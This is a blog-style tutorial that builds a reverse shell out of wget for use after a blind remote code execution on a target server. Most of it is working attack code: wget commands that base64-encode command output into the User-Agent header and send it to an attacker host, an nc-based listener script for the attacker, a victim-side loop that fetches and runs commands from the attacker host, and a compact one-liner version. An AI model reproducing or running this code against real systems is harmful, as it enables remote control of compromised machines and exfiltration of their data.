Constructing a reverse shell with wget

Recently, I needed to create a reverse shell from a machine where I knew I had a Remote Code Execution (RCE), but without any output. As this machine was fairly old, it did not have python, nc, perl, ruby or gcc installed, therefore getting a classical reverse shell to work was pretty much a pain in the neck. I knew I had a blind Remote Code Execution on the server (through a web application) but I had no way of exfiltrating the command execution results.

As I was determined to obtain a reverse shell on this machine, I started studying what I would need to create a reverse shell and decided to create one using wget.

First things first, we need to create an uplink to get the command results back from the victim machine.

IP="127.0.0.1";
PORT=4444;

wget "http://$IP:$PORT" -q \
    -O- \
    --user-agent="$(id 2>&1)" \
    --output-file=/dev/null

In our netcat listener we have received the request, with the exfiltrated command result inside the User-Agent header :

GET / HTTP/1.1
User-Agent: uid=1000(poc) gid=1000(poc) groups=1000(poc)
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive

Now that we have a working proof of concept for data exfiltration, we need to be sure it won’t mess with the request. For example if we try to put the result of ls -lha we will have the following request :

GET / HTTP/1.1
User-Agent: $ total 84K
drwxrwxr-x  2 hermes hermes 4,0K mai   12 10:19 .
drwxrwxrwt 26 root   root    76K mai   12 10:19 ..
-rw-rw-r--  1 hermes hermes    0 mai   12 10:19 file1
-rw-rw-r--  1 hermes hermes    0 mai   12 10:19 file2
-rw-rw-r--  1 hermes hermes    0 mai   12 10:19 file3
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive

This will not be a valid HTTP request, because of the multiline User-Agent. Therefore, we will just encode the command response in base64 like this :

IP="127.0.0.1";
PORT=4444;

wget "http://$IP:$PORT" -q \
    -O- \
    --user-agent="$(ls -lha 2>&1|base64 -w0)" \
    --output-file=/dev/null

This gives us the following valid HTTP request :

GET / HTTP/1.1
User-Agent: dG90YWwgODRLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCmRyd3hyd3hyLXggIDIgaGVybWVzIGhlcm1lcyA0LDBLIG1haSAgIDEyIDEwOjE5IC4KZHJ3eHJ3eHJ3dCAyNiByb290ICAgcm9vdCAgICA3NksgbWFpICAgMTIgMTA6MTkgLi4KLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTEKLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTIKLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTMK
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive

Now we can use this to create a full reverse shell ! To do this we will create two loops :

  • On the victim server side, we will use a while true loop waiting for a new command to be run. When it receives a command, it will execute it, and return the response as a base64 string in the User-Agent HTTP Header.

  • On the attacker side, we will use a while true loop reading for input data on the command prompt. When a new command is entered, it is sent to the victim server and wait for the result. The command result will be printed.

We can see the HTTP requests of the reverse shell using wireshark :

In the next section, I will present a first working version.

First working version

Requirements

  • On the victim machine :

    • wget, base64
  • On the attacker machine :

    • wget, nc, grep, awk, cat, xxd, head

Listenner on the attack machine

You need to launch this listener on your attacking machine. The target machine will connect back to you and you’ll get an interactive shell thanks to this script.

#!/usr/bin/env bash

CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081

#===============================================================================

log()  { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}";  }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }

remote_exec(){
    local CMD="${1}"
    echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
    RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
    echo "${RESULT}"
}

wait_for_connection(){
    log "Waiting for incomming wget connection ..."
    local proof="$(cat /dev/urandom | xxd -p | head -n 1)"
    waiting=1
    while [[ ${waiting} == 1 ]]; do
        local response="$(remote_exec "echo '${proof}'")"
        if [[ $(echo "${response}" | grep "${proof}" | wc -l) -ne 0 ]]; then
            log "Validated ! proof : ${proof}"
            waiting=0
        fi
    done
    info "Connected ! (interactive shell incomming)"
}

#===============================================================================

wait_for_connection

PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    printf "${PROMPT}"; read
    if [[ "${REPLY}" == "exit" ]]; then
        echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
        RUNNING=0
    else
        echo "$(remote_exec "${REPLY}")"
    fi
done

Reverse shell on the victim machine

On the victim machine, we only need wget and base64 binaries, and this simple bash script :

#!/usr/bin/env bash

REV_IP='localhost'

CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    CMD=$(wget -q "http://${REV_IP}:${CMD_RECV_PORT}" -O- --output-file=/dev/null 2>/dev/null)
    if [[ ${CMD} != "" ]]; then
        if [[ ${CMD} == "exit" ]]; then
            RUNNING=0
        else
            sleep 0.125
            wget \
                "http://${REV_IP}:${CMD_REPLY_PORT}" \
                --output-file=/dev/null \
                --user-agent="$(${CMD} 2>&1 | base64 -w0)"\
                2>/dev/null
        fi
    fi
done

Compacting everything

Now that we have a working first version, here is a compact version of this wget reverse shell :

IP="1.2.3.4";D=8080;U=8081
while true; do sleep 0.125; wget "http://${IP}:${U}" -o /dev/null -U "$($(wget -q "http://${IP}:${D}" -O- -o /dev/null 2>/dev/null) 2>&1 | base64 -w0)" 2>/dev/null; done